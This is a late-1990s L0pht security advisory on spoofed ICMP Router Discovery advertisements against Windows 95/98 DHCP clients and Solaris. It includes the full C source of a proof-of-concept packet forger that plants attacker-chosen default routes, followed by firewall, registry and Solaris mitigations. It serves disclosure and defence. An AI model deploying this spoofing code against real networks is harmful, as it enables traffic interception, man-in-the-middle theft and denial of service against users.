COMMAND

    ICMP Router Discovery Protocol (IRDP)

SYSTEMS AFFECTED

    Win95a (w/winsock2), Win95b, Win98, Win98se, SunOS/Solaris

PROBLEM

    Paul S.  Cosis made  another L0pht  Security Advisory.   The  ICMP
    Router Discovery Protocol (IRDP) comes enabled by default on  DHCP
    clients  that  are   running  Microsoft  Windows95   (w/winsock2),
    Windows95b, Windows98, Windows98se, and Windows2000 machines.   By
    spoofing IRDP Router Advertisements, an attacker can remotely  add
    default  route  entries  on  a  remote  system.  The default route
    entry added  by the  attacker will  be preferred  over the default
    route  obtained  from  the  DHCP  server.   While Windows2000 does
    indeed have IRDP enabled by  default, it less vulnerable as  it is
    impossible to give it a  route that is preferred over  the default
    route obtained via  DHCP.  SunOS  systems will also  intentionally
    use  IRDP  under  specific  conditions.   For Solaris2.6, the IRDP
    daemon, in.rdisc, will be started if the following conditions  are
    met:

        . The system is a host, not a router.
        . The system did not learn a default gateway from a DHCP server
        . The system does not have any static routes.
        . The system does not have a valid /etc/defaultrouter file

    The  ICMP  Router  Discovery  Protocol  does  not have any form of
    authentication, making it impossible for end hosts to tell whether
    or not the  information they receive  is valid.   Because of this,
    attackers can perform a number of attacks:

    Passive monitoring: In a  switched environment,  an attacker   can
                        use this to  re-route the outbound  traffic of
                        vulnerable systems  through them.   This  will
                        allow them  to monitor  or record  one side of
                        the conversation.

                       * For this to work, and attacker must be on the
                       * same network as the victim.

    Man in the Middle:  Taking the above attack to the next level, the
                        attacker would also be  able to modify any  of
                        the outgoing traffic or play man in the middle
                        By  sitting  in  the  middle, the attacker can
                        act as a proxy between the victim and the  end
                        host.   The victim,  while thinking  that they
                        are connected directly  to the end  host, they
                        are actually  connected to  the attacker,  and
                        the attacker is connected to the end host  and
                        is feeding  the information  through.   If the
                        connection is to a secure webserver that  uses
                        SSL, by  sitting in  the middle,  the attacker
                        would  be  able  to  intercept  the   traffic,
                        unencrypted.  A good  example of this risk  is
                        on-line   banking;    an   attacker    playing
                        man-in-the-middle would  be able  to intercept
                        all  of  the   banking  information  that   is
                        relayed, without the victim's knowledge.

                       * For this to work, and attacker must be on the
                       * same network as the victim.

    Denial of Service:  Remote attackers can spoof these ICMP  packets
                        and  remotely  add  bad  default-route entries
                        into  a  victims  routing  table.  Because the
                        victim's system would be forwarding the frames
                        to the  wrong address,  it will  be unable  to
                        reach other networks.  Unfortunately, DHCP has
                        quickly become popular  and is relied  upon in
                        most companies.  In some cases, such as  cable
                        & *DSL modems, users are required to use DHCP.
                        Because  of  the  large  number  of vulnerable
                        systems, and  the fact  that this  attack will
                        penetrate firewalls that do not stop  incoming
                        ICMP packets,  this Denial  of Service  attack
                        can become quite severe.

    It  should  be  noted  that  the  above  attacks are documented in
    Section 7, of RFC 1256.   However, the RFC states states that  the
    attacks are  launched by  an attacker  on the  same network as the
    victim. In the Denial of Service attack, this is not the case;  an
    attacker can spoof IRDP packets and corrupt the routing tables  on
    systems that are on remote networks.  While these attacks are  not
    new, the fact that Windows95/98 DHCP clients have been  vulnerable
    for years, is.  On systems running SunOS & Solaris, it is easy  to
    find documentation on  IRDP by looking  at the startup  scripts or
    manpages.  On Windows95/98,  however, information has only  become
    recently available in the Knowledge Bank.

    Upon startup, a system running MS Windows95/98 will always send  3
    ICMP  Router  Solicitation  packets  to  the  224.0.0.2  multicast
    address.  If the  machine is NOT configured  as a DHCP client,  it
    ignores any Router Advertisements sent back to the host.  However,
    if the Windows machine is configured as a DHCP client, any  Router
    Advertisements sent to the machine will be accepted and processed.
    Once an Advertisement is received, Windows checks to see how  many
    Gateway entries the packet contains.  If the packet contains  only
    1 entry,  it checks  to make  sure the  IP source  address of  the
    Advertisement is inside the hosts subnet.    If it is, the  Router
    Address entry inside the advertisement  is checked to see that  it
    is also  within the  host's subnet.   If so,  a new  default route
    entry is  added.   If the  address is  outside the  subnet, it the
    advertisement is silently  ignored.  If  a host receives  a Router
    Advertisment that contains  2 or more  Router Addresses, the  host
    will processes  the packet  even though  the IP  source address is
    not  local.   If  the  host  finds  a  Router  Address  inside the
    advertisement that  is inside  the host's  subnet, it  will add  a
    default route entry for it.  Because the host does not care  about
    the IP source address of the Advertisement as long as it has  more
    than one entry, attackers can  now create bogus IRDP packets  that
    will bypass anti-spoofing filters.

    Before the  host can  add a  new default  route entry,  it has  to
    determine the route metric.  On Windows95/98, normal default route
    entries obtained from a DHCP server have a metric of 1.  In  order
    to determine the metric for  the default route entry obtained  via
    IRDP, the  Windows host  subtracts the  Advertisement's Preference
    value from 1000.  By creating an ICMP Router Advertisement with  a
    preference of 1000,  the default gateway  route added will  have a
    metric of 0, making it the preferred default route.   By adjusting
    the Lifetime value  in the advertisement,  an attacker can  adjust
    how many seconds the gateways are valid for.

    L0pht  is  making  available  Proof-of-Concept  code that will let
    individuals test their systems &  firewalls.  The source code  can
    be found at:

        http://www.l0pht.com/advisories/rdp.tar.gz

    Same  code  follows  below  in  two  parts:  rdp.h and icmp_rdp.c.
    rdp.h:

    struct icmp_rdp_head {
      u_char type;
      u_char code;
      u_short cksum;
      union {
        u_char unused[4];
        struct addy {
          u_char number_of_addrs;
          u_char addr_entry_size;
          u_short lifetime;
        } a;
      } u;
    };
    
    struct icmp_rdp_advert {
      u_long ira_addr;
      u_long ira_preference;
    };
    
    struct values {
      u_long sourceaddr;
      u_long destaddr;
      u_long routeraddr;
      u_long routeraddr2;
      int lifetime;
      int delay;
      int num_pkts;
      int id;
      int pref;
      int verbose;
    };
    
    #define ETHER 0
    #define NO_ETHER 1
    
    #define ICMP_ROUTERADVERT 9

    icmp_rdp.c:

    /* 08/05/99
     * proof of concept tool by:
     *   Silicosis (sili@l0pht.com) & Mudge (mudge@l0pht.com)
     *
     * Compile:
     *    gcc -g -o rdp icmp_rdp.c -lsocket -lnsl -lnet -lpcap
     *
     *    Requires Libnet  http://www.packetfactory.net/
     *             libpcap ftp://ee.lbl.gov/libpcap.tar.Z
     *
     * Tested under Solaris 2.6 & 2.7
     */
    
    #include <stdlib.h>
    #include <pcap.h>
    #include <net/bpf.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include "rdp.h"
    
    #define SNAPLEN 4096
    #define PROMISC 1  /* 1 == TRUE, 0 == FALSE */
    
    void print_packet(char *, unsigned int);
    void print_icmp_rdisc(const char *pkt, unsigned int len, int flag);
    pcap_t * getCaptureDev(char *device);
    u_long getSourceAddr(const char *packet, unsigned int len);
    void send_icmp_rdisc_response(int sock, struct values *value_pass);
    void usage(char *);
    
    
    int main(int argc, char *argv[]){
    
      char *interfaceStr = NULL;
      const u_char *pkt;
      extern char *optarg;
      int c, sock;
      int listen_flag=0, send_flag=0;
      pcap_t *capDev;
      struct pcap_pkthdr pkthdr;
      struct values value_pass;
    
      /* zero out the values struct */
      memset(&value_pass, '\0', sizeof(struct values));
    
      /* preset a few things here... */
      value_pass.lifetime = 1800;
      value_pass.pref = 1000;
      value_pass.routeraddr2 = 0;
      while ((c = getopt(argc, argv, "vlsp:d:n:I:t:i:S:D:R:r:")) != EOF){
        switch (c) {
          case 'v':  /* VERBOSE */
            value_pass.verbose++;
            break;
          case 'l': /* Listen mode */
            listen_flag++;
            break;
          case 's': /* Send mode */
            send_flag++;
            break;
          case 'p':  /* preference level to attach to outgoing response */
            value_pass.pref = strtoul(optarg, (char **)NULL, 10);
            break;
          case 'd':  /* delay value in sending out packets *
            value_pass.delay = atoi(optarg);
            break;
          case 'n': /* number of router advert packets to send */
            value_pass.num_pkts = atoi(optarg);
            break;
          case 'I': /* ID value to place in IP packet */
            value_pass.id = atoi(optarg);
            break;
          case 't': /* lifeTime for rdp packet */
            value_pass.lifetime = atoi(optarg);
            break;
          case 'i':  /* INTERFACE */
            interfaceStr = optarg;
            break;
          case 'S': /* Source IP address to place in packet */
            value_pass.sourceaddr = libnet_name_resolve(optarg, 1);
            break;
          case 'D': /* Dest IP address to place in packet */
            value_pass.destaddr = libnet_name_resolve(optarg, 1);
            break;
          case 'R':
            value_pass.routeraddr = libnet_name_resolve(optarg, 1);
            break;
          case 'r':
	    value_pass.routeraddr2 = libnet_name_resolve(optarg, 1);
            break;
          default:
            usage(argv[0]);
        }
      }
    
      /********************************************************
       * make sure the command line makes some sense...       *
       ********************************************************/
    
      /* if no interface was specified default to sun's hme0 */
      if (!interfaceStr)
        interfaceStr = "hme0";
    
      if (!listen_flag && !send_flag)
        usage(argv[0]);
    
      if (send_flag && !listen_flag && (value_pass.destaddr == 0)){
        /* if we are *just* sending then we need a dest
           addr... */
        usage(argv[0]);
      }
    
      /********************************************************
       * fill in values with defaults that weren't explicitly *
       * specified...                                         *
       ********************************************************/
    
      if ( value_pass.sourceaddr == 0 )
        value_pass.sourceaddr = inet_addr("1.1.1.1");
    
      if ( value_pass.routeraddr == 0 )
        value_pass.routeraddr = value_pass.sourceaddr;
    
      /* grab the socket for sending if specified */
      if (send_flag){
        if ((sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1){
          perror("socket: ");
          exit(1);
        }
      }
    
      /********************************************************
       * Go at it - this is the entire high level section to  *
       * do the dirty work                                    *
       ********************************************************/
    
      if (listen_flag){
        capDev = (pcap_t *)getCaptureDev(interfaceStr);
    
        while (1){
          pkt = pcap_next(capDev, &pkthdr);
          if (!pkt)
            continue;
    
    #ifdef DEBUG
          print_packet(pkt, pkthdr.caplen);
    #endif
    
          if (send_flag){
            if (value_pass.destaddr == 0){ /* grab the dest addr from the
                                              sniffed packet */
              value_pass.destaddr = getSourceAddr(pkt, pkthdr.caplen);
            }
            send_icmp_rdisc_response(sock, &value_pass);
          }
    
          if (value_pass.verbose){
            print_icmp_rdisc(pkt, pkthdr.caplen, ETHER);
          }
          pkt = NULL;
        }
    
      } else { /* just sending */
        send_icmp_rdisc_response(sock, &value_pass);
      }
    
      /**********************************************************
       * We're done                                             *
       **********************************************************/
      exit(0);
    }
    
    void print_packet(char *packet, unsigned int len){
      int i;
    
      printf("-[packet len: %d]-\n", len);
    
      for (i=0; i < len; i++){
        if (i != 0 && i%20 == 0)
          printf("\n");
        printf("%.2x ", packet[i] & 0xff);
      }
    
      printf("\n");
    }
    
    /*****************************************************************
     * function: print_icmp_rdisc(const char *, u_int, int )         *
     * returns: none                                                 *
     *                                                               *
     * description: this routine prints out an ICMP packet in human  *
     *              readable format. This should only be handed      *
     *              ICMP packets with type code of 9 or 10...        *
     *              router advertisement or router solicitation      *
     *              packets.                                         *
     *              Little, if any, sanity checking is done here...  *
     *              If the final value is ETHER then it is assumed   *
     *              that an ether header is attached - otherwise     *
     *              NO_ETHER should be sent to this function         *
     *****************************************************************/
    void print_icmp_rdisc(const char *pkt, unsigned int len, int flag){
      struct ip ipheader; /* done as a quick and easy force of alignment on
                             sparcs */
      struct icmp_rdp_head rdp_head;
      char hold1[24], hold2[24];
      struct in_addr in_addr_holder;
      int i;
      char *ptr;
    
      /* smallest packet we should get would be a full ICMP router solicitation
         which would be ether (14 bytes), IP (minimum of 20 bytes w/o options),
         and ICMP router solicitation (8 bytes) 14+20+8 == 42
    
         without ether would be IP + ICMP or 28 */
    
      switch(flag){
        case ETHER:
          if (len < 42){
            fprintf(stderr, "Something's wrong... ether packet too short\n");
            return;
          }
          memcpy(&ipheader, pkt + 14, sizeof(struct ip));
          memcpy(&rdp_head, ((char *)pkt + 14 + (ipheader.ip_hl << 2)),
                 sizeof(struct icmp_rdp_head));
          ptr = (char *)pkt + 14 + (ipheader.ip_hl << 2) + 8;
          break;
        case NO_ETHER:
          if (len < 28){
            fprintf(stderr, "Something's wrong... IP packet too short\n");
            return;
          }
          memcpy(&ipheader, pkt, sizeof(struct ip));
          memcpy(&rdp_head, ((char *)pkt + (ipheader.ip_hl << 2)),
                 sizeof(struct icmp_rdp_head));
          ptr = (char *)pkt + (ipheader.ip_hl << 2) + 8;
          break;
      }
    
    
      strncpy(hold1, inet_ntoa(ipheader.ip_src), sizeof(hold1));
      strncpy(hold2, inet_ntoa(ipheader.ip_dst), sizeof(hold1));
    
      switch(rdp_head.type){
        case 10:
          printf("-=[ICMP router solicitation]=- ");
          printf("  %s -> %s\n", hold1, hold2);
          printf("[type %d - code %d - checksum 0x%4x]\n\n", rdp_head.type,
                  rdp_head.code, rdp_head.cksum);
          break;
        case 9:
          printf("-=[ICMP router advertisement]=- ");
          printf(" %s -> %s\n", hold1, hold2);
          printf("[type %d - code %d - checksum 0x%4x]\n", rdp_head.type,
                  rdp_head.code, rdp_head.cksum);
          printf("[addr # - %d - addr sizes - %d lifetime %d]\n",
                  rdp_head.u.a.number_of_addrs, rdp_head.u.a.addr_entry_size,
                  rdp_head.u.a.lifetime);
    
          /* currently one should only see address entry sizes of 2, this
             handles the [1]router address and [2]preference level - since
             this is a proof of concept little tool and the current RFC (rfc1256)
             lists the current value at 2 we will "assume" as much, though we
             will still do some minimal sanity checking */
    
          if (rdp_head.u.a.addr_entry_size != 2){
            printf("-=[%d is a non-standard value for the current RFC (1256)]=-\n",
                   rdp_head.u.a.addr_entry_size);
            return;
          }
    
    #ifdef DEBUG
          printf("DEBUG: rdp_head.u.a.number_of_addrs << 1 = %d\n",
                 "len - 14 - (ipheader.len << 2) - 8 = %d\n\n",
                  (rdp_head.u.a.number_of_addrs << 1), (len - 14 -
                  (ipheader.ip_hl << 2) - 8));
    #endif
    
    
    #ifdef OUT
          switch(flag){
            case ETHER:
              if ( (rdp_head.u.a.number_of_addrs << 1) != (len - 14 -
                  (ipheader.ip_hl << 2) - 8) ){
                 printf("size mismatch with ether\n");
                 return;
              }
              break;
            case NO_ETHER:
              if ( (rdp_head.u.a.number_of_addrs << 1) != (len -
                   (ipheader.ip_hl << 2) - 8)){
                   printf("size mismatch with IP\n");
                   return;
               }
               break;
          }
    #endif
    
          for(i=0; i < rdp_head.u.a.number_of_addrs ; i++){
            memcpy(&in_addr_holder, ptr, sizeof(struct in_addr));
            printf("router %s - ", inet_ntoa(in_addr_holder));
            ptr += 4;
            printf("preference %d\n", *(u_short *)ptr);
            ptr += 4;
          }
          printf("\n\n");
          break;
    
      }
    }
    
    void usage(char *prog){
      char *ptr;
    
      ptr = (char *)strrchr(prog, '/');
      if (ptr)
        ptr++;
      else
        prog = ptr;
    
      printf("ICMP Router Discovery Protocol Generator\n");
      printf("Usage: %s -v -l -s -d <delay> -p <pref>",ptr);
      printf(" -t <lifetime> -i <dev>\n\t   -S <src> -D <dst> -R <rtr>");
      printf(" -r <optional 2nd rtr>\n\n");
      printf("\t-v verbose\n\t-l listen mode\n\t-s send mode\n");
      printf("\t-d <delay time between sending packets>\n");
      printf("\t-n <number of rdp packets to send>\n");
      printf("\t-I <ID value to place in IP packet>\n");
      printf("\t-p <preference level>\n\t-t <lifetime>\n");
      printf("\t-i <interface to use for sniffing>\n");
      printf("\t-S <source address to put in outgoing rdp packet>\n");
      printf("\t-D <destination address to put in outgoing rdp packet>\n");
      printf("\t-R <router address to advertise in rdp packet>\n");
      printf("\t-r <optional 2nd router address to advertise in rdp packet>\n\n");
      exit(1);
    }
    
    pcap_t * getCaptureDev(char *device){
      pcap_t *capDev;
      char pcaperror[PCAP_ERRBUF_SIZE];
    
      /* tcpdump -dd proto 1 and 'icmp[0] == 9 or icmp[0] == 10' */
      static struct bpf_insn rdp[] = {
          { 0x28, 0, 0, 0x0000000c },
          { 0x15, 0, 9, 0x00000800 },
          { 0x30, 0, 0, 0x00000017 },
          { 0x15, 0, 7, 0x00000001 },
          { 0x28, 0, 0, 0x00000014 },
          { 0x45, 5, 0, 0x00001fff },
          { 0xb1, 0, 0, 0x0000000e },
          { 0x50, 0, 0, 0x0000000e },
          { 0x15, 1, 0, 0x00000009 },
          { 0x15, 0, 1, 0x0000000a },
          { 0x6,  0, 0, 0x00000044 },
          { 0x6,  0, 0, 0x00000000 }
      };
      struct bpf_program prog;
    
      capDev = pcap_open_live(device, SNAPLEN, PROMISC, 0, pcaperror);
      if (!capDev){
        fprintf(stderr, "%s\n", pcaperror);
        exit(1);
      }
    
      /* set the filter - this will cause us to only look at icmp packets
         that are either router advertisements or router solicitations.
         These are icmp type 9 and 10 respectively */
    
      prog.bf_len = sizeof(rdp) / sizeof(struct bpf_insn);
      prog.bf_insns = rdp;
      if (pcap_setfilter(capDev, &prog) != 0){
        fprintf(stderr, "failed to correctly set filter - D'oh!\n");
        exit(1);
      }
    
      return capDev;
    }
    
    u_long getSourceAddr(const char *packet, unsigned int len){
      struct ip ip_packet;
    
      memcpy(&ip_packet, packet + 14, sizeof(struct ip));
    
      return(ip_packet.ip_src._S_un._S_addr);
    }
    
    void send_icmp_rdisc_response(int sock, struct values *value_pass){
    /*
       There are three ether addresses and three IP addresses that we should
       be attempting here to see who responds how -
    
       Router Advertisements
          Ether: 01:00:5e:00:00:01
          Ether: ff:ff:ff:ff:ff:ff
          Ether: unicast back to whomever sent the Solicitation
    
          IP: 224.0.0.1
          IP: 255.255.255.255
          IP: unicast back to whomever sent the Solicitation
    
       Router Solicitations
          Ether: 01:00:5e:00:00:02
          Ether: ff:ff:ff:ff:ff:ff
          Ether: try the unicast address of a router who has a multicast
                 interface
    
          IP: 224.0.0.2
          IP: 255.255.255.255
          IP: unicast to address of a router who has a multicast interface
    
        The Ether multicast address is created as follows: The least significant
        23 bits of the ip address are placed into the least significant 23 bits
        of the Ethernet multicast addr 01:00:5e:00:00:00. Thus 224.0.0.2
        maps to 01:00:5e:00:00:02, etc.
    
         As for the actual RDP packet :
    
         ICMP Router Discovery Protocol
         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
         |     Type      |     Code      |           Checksum            |
         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
         |   Num Addrs   |Addr Entry Size|           Lifetime            |
         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
         |                       Router Address[1]                       |
         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
         |                      Preference Level[1]                      |
         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    
    */
    
      u_char *packet;
      struct icmp_rdp_head icmpPkt;
      struct icmp_rdp_advert ap;
      struct icmp_rdp_advert bp;
      struct ip *ip;
      int icmplen, acx;
    
    
      if (value_pass->routeraddr2 !=0)
        icmplen = 24;
      else
        icmplen = 16;
    
      if ((packet = malloc(sizeof(struct ip) + icmplen)) == NULL) {
        perror("malloc: ");
        return;
      }
    
      /* sanitize... */
      memset(packet, '\0', sizeof(struct ip) + icmplen);
      libnet_build_ip(icmplen,                        /* Size of the payload */
                      0,                              /* IP TOS */
                      value_pass->id == 0 ? 12345+(random()%100): value_pass->id,
                                                      /* IP ID */
                      0,                              /* frag offset+flags */
                      255,                            /* TTL - this is
                                                         intentionally larger than
                                                         what rfc 1256 wants */
                      IPPROTO_ICMP,                   /* Protocol */
                      value_pass->sourceaddr,         /* Source IP */
                      value_pass->destaddr,           /* Dest IP */
                      NULL,                           /* ptr to payload */
                      0,
                      packet);                        /* da packet */
    
      /* Create ICMP Header */
      memset(&icmpPkt, '\0', sizeof(struct icmp_rdp_head));
      icmpPkt.type = ICMP_ROUTERADVERT;
      icmpPkt.code = 0;
    
    
      if (value_pass->routeraddr2 != 0){
        icmpPkt.u.a.number_of_addrs = 2;
        icmpPkt.u.a.addr_entry_size = 2;
        icmpPkt.u.a.lifetime = htons(value_pass->lifetime);
        memcpy((char *)(packet + sizeof(struct ip)), &icmpPkt,
	       sizeof(struct icmp_rdp_head));
    
        /* Create ICMP Router Advertisement */
        ap.ira_addr = value_pass->routeraddr;
        ap.ira_preference = htonl(value_pass->pref);
        memcpy(packet + sizeof(struct ip) + sizeof(struct icmp_rdp_head),
	       &ap, sizeof(struct icmp_rdp_advert));
    
        /* Add the 2nd router.. */
        ap.ira_addr = value_pass->routeraddr2;
        memcpy(packet + sizeof(struct ip) + sizeof(struct icmp_rdp_head) +
	       sizeof(struct icmp_rdp_head), &ap, sizeof(struct icmp_rdp_advert));
      }
      else {
        icmpPkt.u.a.number_of_addrs = 1;
        icmpPkt.u.a.addr_entry_size = 2;
        icmpPkt.u.a.lifetime = htons(value_pass->lifetime);
        memcpy((char *)(packet + sizeof(struct ip)), &icmpPkt,
	       sizeof(struct icmp_rdp_head));
        /* Create ICMP Router Advertisement */
        ap.ira_addr = value_pass->routeraddr;
        ap.ira_preference = htonl(value_pass->pref);
        memcpy(packet + sizeof(struct ip) + sizeof(struct icmp_rdp_head),
	       &ap, sizeof(struct icmp_rdp_advert));
      }
    
      /* Generate ICMP checksum. IP checksum *should* be handled *correctly*
         by the kernel */
      libnet_do_checksum(packet, IPPROTO_ICMP, icmplen);
    
      /* Send xx packets.. */
    
      /* pre-load to send one packet if no number was specified */
      if (value_pass->num_pkts == 0)
        value_pass->num_pkts = 1;
    
      for (acx = 0; acx < value_pass->num_pkts; acx++){
        if (libnet_write_ip(sock, packet, (sizeof(struct ip) + icmplen)) <
            (sizeof(struct ip) + icmplen))
          perror("write_ip: ");
        else {
          if (value_pass->verbose)
            print_icmp_rdisc(packet, sizeof(struct ip) + icmplen, NO_ETHER);
          if (value_pass->delay)
            sleep(value_pass->delay);
        }
      }
    }

SOLUTION

    Firewall / Routers:
        Block all ICMP Type 9 & Type 10 packets.  This should  protect
        against remote Denial of Service attacks.

    Windows95/98:
        The Microsoft  Knowledge Base  contains an  article that gives
        info on how to disable IRDP. It can be found at:

        http://support.microsoft.com/support/kb/articles/q216/1/41.asp

    Brief Summary of article:

        IRDP can be disabled manually by adding
        "PerformRouterDiscovery" value name and
        setting it to a dword value of 0, under
        the following registry key(s):

        HKLM\System\CurrentControlSet\Services\Class\NetTrans\####

        Where #### is the binding  for  TCP/IP.
        More than one TCP/IP binding may exist.

    Solaris:
        Configure your host to obtain a default gateway through  DHCP,
        static routes,  or via  the /etc/defaultrouter  file. For more
        information on IRDP refer to in.rdisc's man-page.

    L0pht has released a NFR Intrusion Detection Module to detect both
    Router Solicitations and Advertisements.  You can find it at:

        http://www.l0pht.com/NFR

    NFR information can be found at

        http://www.nfr.net